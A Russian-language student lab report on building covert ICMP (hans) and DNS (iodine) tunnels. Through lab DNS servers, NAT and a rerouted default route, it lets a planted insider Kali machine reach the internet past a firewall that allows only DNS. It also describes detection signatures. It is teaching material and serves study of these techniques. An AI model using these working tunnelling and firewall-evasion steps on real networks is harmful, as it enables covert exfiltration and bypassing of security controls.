# Практика №7. Скрытое туннелирование ICMP, DNS

# Выполнение практической работы

Начиная с практической работы №5 работы, некоторые пользователи и устройства были переименованы, чтобы соотвествовать требованиям преподавателя по идентификации учеников. Выбор пал на имя, которое установлено на родном ноутбуке. В данной работе стандарные имена пользователей оставлены на всех Winodws-серверах и Linux-машины с именем InsiderOlezhaLinux, поскольку эти машины слишком часто падали, чтобы что-то на них было возможно изменить.

При выполнении данного пункта было решено модифицировать инфраструктуру из предыдущей практики №4. На устройствах pfSense и Switch сохраняются VLAN 10 и VLAN 20 c сетями 172.16.10.0/24 и 172.16.20.0/24 соотстветсвенно. Появились новые устройства для 1 и 2 части 7 практики. OpenVPN-Olezha-Client - дебиан-машина, на которой проводится вся первая часть практики, относится к устройствам автора, не корпоративной инфраструктуры. EXDNSServerOlezhi, INDNSServerOlezhi, InsiderOlezhaLinux - два сервера DNS, внешний и внутренний, не относящиеся к устройствам автора, и Kali-устройство, которое уже является частью инфрастуктуры без ведома её создателей.


---
## Первая часть - туннелирование ICMP

> **ICMP (Internet Control Message Protocol)** -- протокол сетевого уровня, используемый для диагностики сети.
>
> Утилиты ping и tracert -- два основных инструмента администратора для диагностики неисправностей в сети. Поэтому трафик ICMP практически никогда не ограничивается.
>
>
> Скрытый канал поверх ICMP (ICMP-туннель) устанавливает скрытое соединение между двумя компьютерами с помощью пакетов эхо-запроса и эхо-ответа протокола ICMP. Пакеты ICMP включают в себя поле Data, содержимое и формат которого строго не определены, что открывает возможность для инкапсуляции любых данных. Технически туннелирование через скрытый канал ICMP происходит посредством внедрения любых нужных данных в эхо-пакет и его пересылки на удаленный компьютер. Удаленный компьютер отвечает подобным образом, внедряя ответ в другой ICMP-пакет и отсылая этот пакет назад.
>
>
> Детектирование и блокировка ICMP-туннелей -- задача нетривиальная, хотя и не очень сложная. Главная проблема заключается в том, что трафик ICMP нельзя блокировать полностью -- это может парализовать инфраструктуру сети. Однако, например, белые списки исходящих ICMP-соединений могут сильно осложнить задачу построения канала наружу. В списке можно оставить лишь известные хосты, необходимые для диагностики соединения.
>
> Сигнатурами при детектировании туннелей могут служить такие параметры, как сильное отклонение размера пакетов от нормы и слишком плотный и продолжительный поток трафика ICMP от какого‑то одного хоста. Но главный маркер -- это, конечно, поле Data.
>
> Впрочем, необходимо помнить, что поле Data используют и вполне легитимные утилиты. Например, такая привычная вещь, как утилита ping, в каждом пакете запроса echo заполняет в том числе и поле Data.
>
> Для борьбы с туннелями ICMP обычно блокируют запросы echo, однако часто не блокируют другие типы ICMP. Например, destination unreachable.

Создаём папку для того, чтобы отделить скачивание git-репозитория с ресурса от остальной директории. Это легко делается при помощи команд:

mkdir icmp
cd icmp


Далее нам потребуется произвести скачивание с [GitHub](https://github.com/friedrich/hans) инструмента hans, который применяется для постройки ICMP-тоннелей.
Для этого пропишем:

git clone https://github.com/friedrich/hans


После успешной загрузки переходим внутрь папки и прописываем команду ``make``, которая отвечает за задействование одноименной утилиты, предназначенной для компиляции программного обеспечения из исходных кодов. Таким образом, мы просто компилируем код, написанный в данном репозитории.


Нам также потребуются net-tools для работы утилиты hans. Скачиваем.

sudo apt install net-tools


Далее уже переходим к применению программы hans.
Прописывая следующую команду, мы создаём серверную часть и tun-интерфейс с IP 10.1.2.0:

sudo ./hans -s 10.1.2.0 -p 12345

::: info
`-s` : указывает на сеть;
`-p` : указывает на пароль для подключения к серверу.
:::


Убедимся, что всё отработало как надо и проверим, что tun0 появился в списке интерфейсов при помощи `ip a`. Запомним ip нового интерфейса - **10.1.2.1**.


Далее уже на устройстве OpenVPN-Olezha-Client необходимо настроить клиентскую часть. В принципе, действия тут одинаковые, так же надо перенести репозиторий из GitHub, но, так как на устройствах Debain, не предустоновлен git, то делаем следующие действия.

apt get upadate
apt install git


Соотвественно создаём ту же папку, что и в начале, и сохраняем репозиторий туда.


Нам так же будет необходимо скачать `make` и `net-tools`, как мы делали это до этого.


Также устанавливаем пакет `g++`, который необходим для компиляции на языке C++ (на нём написан hans).


После всего этого мы можем наконец-то скомпилировать hans при помощи команды `make`.


И спустя все эти подготовительные этапы установим клиентское соединение через hans:

./hans -c 192.168.192.131 -p 12345

:::info
`-c` : указывает на IP-адрес сервера;
`-p` : указывает на пароль, который установлен при запуске сервера.
:::

Это позволит подключиться к серверу по IP-адресу, создать новый интерфейс tun и назначить ему IP-адрес из сети 10.1.2.0/24.


При проверке `ip a` видим новый интефейс - tun0 с IP-адресом 10.1.2.100 .


После настройки тоннеля мы без проблем можем пинговать второй его конец.


И подключаться по ssh через наш новый ICMP-тоннель.


В захвате трафика, который идёт из корпортивной инфраструктуры, присутствуют пакеты, включающие в себя нестандартный вид Data для ICMP-трафика.


---

## Вторая часть - туннелирование DNS (простой способ)

> **DNS-tunneling** -- техника, позволяющая передавать произвольный трафик (фактически, поднять туннель) поверх DNS-протокола.
>
> Для организации DNS-туннеля необходимо чтобы снаружи (то есть, в точке, куда направлен туннель) его кто-то принимал. Точка приёма является сервером имён для какой-то зоны. Изнутри сети делаются запросы имён по этой зоне, а в качестве результата преобразования возвращаются ответные данные.
>
> DNS-туннелирование нельзя запретить простыми правилами брандмауэра, разрешив при этом остальной DNS-трафик. Это связано с тем, что трафик DNS-туннеля и легитимные DNS-запросы неразличимы. Обнаруживать DNS-туннелирование можно по интенсивности запросов (если трафик по туннелю велик), а также более сложными методами, используя системы обнаружения вторжений.
>
>Сначала нужно произвести регистрацию собственного домен, для управления его зонами и субдоменами настраивается свой DNS-сервер, авторитативный для данного домена. Очевидно, этот конец цепочки находится под полным контролем зломуышленником, это будет сторона, выполняющая роль управляющего сервера в создаваемом DNS-туннеле (далее Сервер).
> Далее необходимо специальное ПО, совмещенное и работающее согласовано с DNS-сервером, осуществляет в фоновом режиме непрерывный мониторинг всех входящих DNS-пакетов. В частности, оно контролирует каждый входящий запрос на наличие идентифицирующих сигнатур. Уникальная комбинация флагов или значений в служебных полях DNS-запросов могут идентифицировать обращение клиента, после чего такой “особый пакет” распаковывается Сервером согласно заранее условленному алгоритму. После его обработки формируется ответ, точно также инкапсулированный в служебную часть отсылаемого DNS-пакета.
> С противоположной стороны, за множеством брандмауэров и сетевых фильтров находится тот, кто должен получать команды и как-то удаленно исполнять их (клиент). Безотносительно к характеру предшествующей фильтрации стандартного TCP/IP-потока, такому клиенту достаточно иметь стандартную возможность резольвить (разрешать) DNS-имена, чтобы создать собственный скрытый и туннелированный канал соединения с заранее указанным и подготовленным Сервером из внешнего Интернета.
>
> По причине того, что DNS-трафик контролируется редко, многие утилиты не имеют механизма своего сокрытия в сети. Это позволяет использовать техники обнаружения DNS-туннеля, основанные на контроле аномалий трафика. Некоторые признаки аномалии представлены ниже.
>
> 1. Увеличенное число DNS-запросов. Объем трафика по DNS-протоколу является редко меняющейся величиной. Поэтому внезапное увеличение DNS-запросов может свидетельствовать об аномалии.
>
> 2. Размер запроса или ответа превышает среднестатистический, равный 40-60 байт, может означать работу скрытого канала.
>
> 3. Наличие запросов к DNS-серверам с DGA (Domain Generation Algorithms). Имена легитимных доменов, обычно, человекочитаемы, а DGA часто используются для незаконных действий и не несут смысловой нагрузки. Методы обнаружения таких серверов основаны на машинном обучении.
>
> 4. Присутствие в трафике запросов, использующих редко используемые ресурсные записи, например, TXT, NULL или KEY.
>
> 5. Обращение к DNS-серверам с длинными именами. Из результатов исследования наибольшая концентрация серверов, используемых злоумышленниками, имеет длину около 200 символов, нормальными считаются имена до 30 символов.

Для создания DNS-туннеля в данной практике используется утилита Iodine.

**Iodine** – доступна на многих платформах (Linux, Mac OS, FreeBSD и Windows). Позволяет установить SSH-шелл между целевым и управляющим компьютером. Для создания туннеля необходимо с одной стороны поднять сервер **iodined** (со стороны Интернета), а с другой стороны — с той, которая находится внутри сети, за брандмауэром — клиент **iodine**.

Для начала работы необходимо скачать утилиту iodine.

sudo apt install iodine


То же делаем и на OpenVPN-Olezha-Client.


Далее необходимо задать нашу серверную часть.
Таким образом, пропишем следующее:

sudo iodined -P 12345 10.99.99.1/24 -c i.kseoni4.com

:::info
`-P` : указывает на пароль, который будет необходимо указать при подключении;
Далее следует ``<ip>/<mask>``;
`-c` : указывает на домен, на который должны приходить запросы.
:::

Лучше использовать по возможности короткие имена, поскольку это сокращает накладные расходы на передачу трафика, инкапсулированного внутрь DNS-пакетов.

Сразу посмотрим сетевые настройки и увидим, что у нас поднялся dns0 интерфейс.

> **dns0** - это виртуальный интерфейс, который используется для обеспечения связи между приложениями и системой DNS (Domain Name System). Он является частью стека сетевых интерфейсов Linux и представляет из себя локальный DNS-сервер.
>
> **DNS0** интерфейс позволяет приложениям на хосте обращаться к DNS-серверу, который может быть установлен на том же хосте или на другом удаленном сервере. Вместо того, чтобы приложение напрямую обращалось к DNS-серверу, оно отправляет запросы на dns0 интерфейс, который затем перенаправляет их на соответствующий DNS-сервер.


Для дальнейших действий будет необходимо исправить resolv.conf на дебиан-машине.

nano /etc/resolv.conf

> **resolv.conf** - это файл конфигурации DNS-клиента в операционной системе Linux. Он содержит настройки для разрешения DNS-имен в IP-адреса и определяет, какие DNS-серверы будут использоваться для этого.


Делается это для того, чтобы заменить уже установленный фаерволом-роутером DNS-сервер, на нашу машину, которая будет принимать DNS-запросы.
Пропишем в файле:

nameserver 192.168.192.131

, где 192.168.192.131 - IP нашей основной машинки (Kali-Olezha2022).


Подключаемся через клиента, запуская DNS-туннель на дебиане:

iodine -P 12345 i.kseoni4.com

Не забываем указать пароль. После поднятия тоннеля на клиентской машине появится соответствующий сетевой интерфейс. Его можно будет использовать как и любой другой -- осуществлять маршрутизацию, трансляцию адресов и так далее.


Ниже видно, что первый конец тоннеля может найти второй, что может говорить о работосопобсности нашего способа.


Однако такой трафик легко будет распознаваться, если его просмотреть. Все наши пакеты будут помечены как malformed.
> **Malformed DNS-пакеты** (искаженные DNS-пакеты) - это DNS-пакеты, которые не соответствуют стандартам протокола DNS. Такие пакеты могут быть вызваны ошибками в софте, ошибками в настройке сети, а также могут быть результатом злонамеренной деятельности, направленной на нарушение работы DNS-серверов или на получение некорректных ответов на запросы.
>
> Искаженные DNS-пакеты могут вызвать различные проблемы, такие как задержки в обработке запросов, сбои в работе DNS-серверов или некорректные ответы на запросы. Кроме того, такие пакеты могут быть использованы в атаках на DNS-серверы, например, для проведения атаки типа DNS-отравление (DNS poisoning).


---
## Третья часть - туннелирование DNS (сложный способ)

В этой данной части практики мы будем использовать уже внедрённую нами Kali-linux (InsiderOlezhaLinux), собственную машинку (Kali-Olezha2022), которая будет нашим DNS-сервером, и два Windows-сервера (Внешний (EXDNSServerOlezhi) и локальный-корпоративный (INDNSServerOlezhi)).
Все наши последующие действия можно будет описать следующей схемой:


Наша внутренняя kali-машина, которая уже является частью корпоративной сети (далее - клиент) осуществляет DNS-туннелинг, находясь за брандмауэром. Клиент имеет возможность пользоваться кэширующим DNS-сервером. Клиент направляет кэширующему серверу запросы по зоне tunnel.mirea.tech. Сервер пытается их для него разрешить, для чего выполняет рекурсивную обработку, как предписывается стандартом DNS.

В конечном счёте запросы доходят туннелинг-серверу, который находится по адресу, указанному в качестве NS для зоны tunnel.mirea.tech. Туннелинг-сервер обрабатывает их. В частности, он может преобразовать их в IP-трафик и отправить дальше. Обратный трафик преобразуется в DNS-ответы и отправляется кэширующему серверу (который в свою очередь передаёт их туннелинг-клиенту).

Таким образом организуется обмен IP-пакетами поверх DNS-трафика.

Однако перед всей последующей работой необходимо настроить все Widndows-сервера. Начнём. Первым делом установим статический IP-адрес для внутреннего сервера INDNSServerOlezhi.
Для этого переходим по следующему пути:
Control Panel --> Network and Internet --> Network and Sharing Center --> Ethernet --> Properties --> Ищем в списке Internet Protocol Vesion 4 (TCP/IPv4) --> Properties.

Устанвливаем там необходимые нам параметры:

Use the following IP address.
* IP address: 192.168.1.55 (Новый статический IP)
* Subnet Mask: 255.255.255.0 (Маска статического IP)
* Default Gateway: 192.168.1.1 (IP фаервола)


После этого нам необходимо нажать на кнопку обноваления в приложении сервера.
Далее создадим сам DNS-сервер: Manage --> Add Role and Features.
Нажимаем next весь процесс, кроме вкладки Server Roles, там мы выбираем DNS. Нажимаем на кнопку Install и ждём завершения.


Собственно, само завершение:

После этого нам нужно исправить имя на внешнем DNS-сервере EXDNSServerOlezhi, чтобы не возникало путанницы между двумя DNS-серверами. Кроме того, в лекции было сказано, что время системы сервера может повлиять на его работоспособность по взаимодействию с другими серверами, поэтому исправляем и его, стараясь максимально приблизить к реальному.

Изменяем внутреннее имя EXDNSServerOlezhi на ExDNSOlezha:

Изменяем внутреннее время системы EXDNSServerOlezhi на наш часовой пояс:

И калибруем его:

Вернёмся к внутреннему DNS-серверу (INDNSServerOlezhi). Проверим найстроки новенького DNS-сервера, для этого перейдём:Tools --> DNS Manager -> Properties.

Здесь во вкладку Forwarders нам необходимо добавить внешний DNS-сервер, а точнее его IP.

> **Forwarders** (переадресация) - это настройка, которая позволяет передавать запросы DNS-клиентов на другой DNS-сервер для получения ответов на запросы, которые локальный DNS-сервер не может разрешить самостоятельно.
>
> Когда DNS-клиент отправляет запрос на локальный DNS-сервер, локальный DNS-сервер сначала пытается решить запрошенное имя самостоятельно, используя свои зоны и кэш. Если локальный DNS-сервер не может разрешить запрос, то он может передать его на другой DNS-сервер, который имеет больший шанс разрешить запрос. Этот процесс называется переадресацией.

:::warning
На скрине ниже добавляется IP 192.168.192.162, однако впоследствии он будет сменён на 192.168.192.163, так как из-за случайного краша внешнего сервера DNS, который привёл к его выключению, его IP переполучился и сменился на последний, а потом был задан мной как статический :)
Поэтому, везде, где видите 192.168.192.162, представьте там именно 192.168.192.163
:::


Вернёмся к настройкам сети на внутреннем сервере и установим ему другой параметр "Preferred DNS server". Это будет localhost, чтобы он ссылался на себя же.


Теперь нам необходимо произвести установку DNS-сервера на внешнем сервере EXDNSServerOlezhi. Делаем всё то же, что делали со внутренним, когда устанавливали там DNS.

Здесь можно увидеть новое имя внешнего сервера:

Тут изображён конец установки:

Далее добавим ему во вкладку Forwarders какой-нибудь любой внешний DNS-сервер уровня выше (например, 77.88.8.8 - dns.yandex.ru).


Для того, чтобы наше внутреннее Kali-устройство (InsiderOlezhaLinux) правильно отрабатывало, нужно сделать то же, что мы делали во 2 части: изменить resolv.conf и добавить туда наш внутренний корпортивно-локальный DNS-сервер (`nameserver 192.168.1.55`).

nano /etc/resolv.conf


Добавляем DNS-сервер:

Необходимо проверить, как работают настройки нашего внутреннего DNS-сервера. Воспользуемся утилитой dig, которую применяли ещё во 2 практической работе.

>Команда dig (domain information groper) — многофункциональный инструмент для опроса DNS-серверов. Она позволяет получить больше информации о конкретном домене, для того чтобы, например, узнать используемые им IP-адреса.
>`dig @сервер доменное.имя тип записи флаги` , где:
> * `@cервер` : IP-адрес или доменное имя DNS-сервера (если не указано, dig будет обращаться к DNS-серверу, используемому по умолчанию);
> * `доменное.имя` : доменное имя интернет-ресурса, о котором необходимо получить информацию;
> * `тип записи` : позволяет указать, для какого типа записи необходим вывод, например A, NS, MX или TXT;
> * `флаги` : с помощью флагов утилите dig отдаются дополнительные команды; оговаривается, каким должен быть вывод команды (что в нём должно быть, а чего нет).

Используя команду:

dig ok.ru

мы обращаемся к ресурсу ok.ru, чтобы получить его DNS-записи. И, если присмотреться, то в строке "SERVER:" стоит IP нашего внутреннего сервера. Значит, всё работает отлично.


Настроим фаервол. Допустим, мы запретим любой трафик, за исключением трафика от нашего DNS-сервера. Необходимо выставить в Source IP-адрес корпортивного DNS-сервера, в Destionation указываем 53 порт (тот, на котором обслуживается DNS-протокол).

Настройка правила:

Настройка правила:

Таким образом, у нас будет работать только правило на DNS запросы от внутреннего DNS-сервера (другие правила мы отключили).


Теперь протестируем два запроса через dig. Тот, который мы делали раннее, и запрос к серверу 8.8.8.8. Второй сработать не должен, поскольку трафик может идти только через наш DNS-сервер, других серверов наша сеть не знает, а подключения к интернету быть не может, так как мы его выключили.

На скринах ниже видно, что всё так и происходит.

dig ok.ru @8.8.8.8


dig ok.ru


Далее, сделаем на внешнем DNS-сервере новую зону. Эта зона в итоге будет ссылаться на конкретно наш собственный DNS-сервер, который представляет из себя нашу же Kali-машинку (Kali-Olezha2022).

> Зона DNS -- это логическое пространство, которое объединяет доменные имена ваших ресурсов и содержит нужные ресурсные записи. Зоны бывают публичные и внутренние. Вне зависимости от типа, они образуют иерархию: у зоны может быть одна или несколько подзон.

Для этого надо вновь перейти в DNS Manager и нажать правой кнопкой мыши по Forward Lookup Zones --> Add New Zone.


Имя зоны установим на "mirea.tech".


Таким образом, у нас есть новая зона:

Перейдём внутрь её и добавим две новых записи типа A:
1. Не вписываем имя, вписываем IP внешнего DNS-сервера, чтобы мы могли попадать на данный сервер, когда ссылаемся на mirea.tech
2. Вписываем имя delegate (полный домен будет выглядеть как delegate.mirea.tech) и устанавливаем IP нашего будущего DNS-сервера Kali-Olezha2022. Благодаря данной записи запросы будут отправляться на наш DNS-сервер.

> **A-запись (Address Record)** - содержит соответствие между доменным именем и IP-адресом. Этот тип записи используется для связи доменных имен с конкретными IP-адресами.


После этого необходимо добавить делегирование.
> **DNS-делегирование** - это процесс передачи управления частью доменного имени другому DNS-серверу. Это позволяет разбить доменное имя на более мелкие части и управлять ими отдельно друг от друга.
>
> Когда DNS-делегирование происходит, авторитетный DNS-сервер для домена (обычно это сервер, управляющий верхним уровнем домена, например, .com или .org) указывает на другой DNS-сервер, который будет отвечать за управление определенной частью доменного имени. Этот другой DNS-сервер становится авторитетным для поддомена, на который происходит делегирование.

Установим делегацию на домен tunnel (полный домен tunnel.mirea.tech).

> **Delegated domain** - это доменное имя, для которого произведена DNS-делегация, то есть управление частью доменного имени передано другому DNS-серверу.


Далее нам необходимо указать какие серверы являются авторитетными для делегированного домена. В нашем случае это указанный раннее DNS-сервер под именем delegate.


Если мы сейчас попытаемся пропинговать домен delegate.mirea.tech, то стоит заметить, что он не подключается, но ссылается именно на IP нашей Kali-машинки (192.168.192.131).


Попробуем вновь использовать dig и посмотрим на NS записи.

> **NS-запись** (Name Server Record) - содержит информацию о серверах имен, которые ответственны за управление зоной DNS. NS-записи используются для указания авторитетных DNS-серверов для доменных имён.

dig NS tunnel.mirea.tech 

Видим, что DNS-сервер, отвественный за управления данной зоной, это наш delegate.mirea.tech. Ещё ниже видим его IP в DNS-записи типа A.


Вернёмся на наш DNS-сервер (Kali-Olezha2022), чтобы наконец настроить его. Нам потребуется всё та же утилита Iodine. Пишем всё то же, что делали во второй части данной работы, но указываем уже другой домен.

sudo iodined -P 12345 10.99.99.1/24 tunnel.mirea.tech

Таким образом, мы запустили наш DNS-сервер. Проверим сетевые настройки и убедимся, что dns0 полявился.


Проверив сокеты, убедимся, что 53 прослушивается.

ss -tunlp

Что конкретно делает данная команда, мы разбирали в других работах.


На Kali-машине, которая находится внутри корпоративной сети, запустим клиентскую часть, попытаясь подключиться.

sudo iodine -P 12345 tunnel.mirea.tech


Проверяем наши интерфейсы и увидим, что конец тоннеля в том числе образовался. Всё прошло успешно, но для выхода в интернет стоит ещё постраться.


Перейдём в файл sysctl.conf на своём DNS-сервере и включим опцию net.ipv4.ip_forward = 1. Таким образом, мы позволяем пересылать IP-пакеты между различными сетевыми интерфейсами.



Не забываем о ``sudo sysctl -p`` , чтобы обновить конфигурационные настройки.


И последним шагом на данном устройстве будет настройка наттинга, которую мы уже делали в предыдущих работах.

sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUARADE

> Конкретно, данная команда добавляет правило в таблицу NAT (-t nat), которое применяется после того, как пакеты покидают сетевой интерфейс eth0 (-o eth0). Правило (-j MASQUERADE) изменяет исходный IP-адрес отправителя на IP-адрес интерфейса eth0, что позволяет скрыть реальный исходный адрес отправителя и отправлять пакеты в сеть с использованием общедоступного IP-адреса.


На клиентской машине настроим маршрутизацию. Для этого удалим дефолтный маршрут:

sudo ip route del default


И добавим его вновь, но сделаем это через гейтвей другого конца тоннеля (10.99.99.1 (IP-адрес dns0 на устройства DNS-сервера Kali-Olezha2022)). Далется это для того, чтобы весь трафик шёл именно через указанный нами гейтвей.


Что ж... пробуем выйти в интернет иии..
..радуемся, что у нас получается это сделать, пускай и с очень низкой скоростью передачи.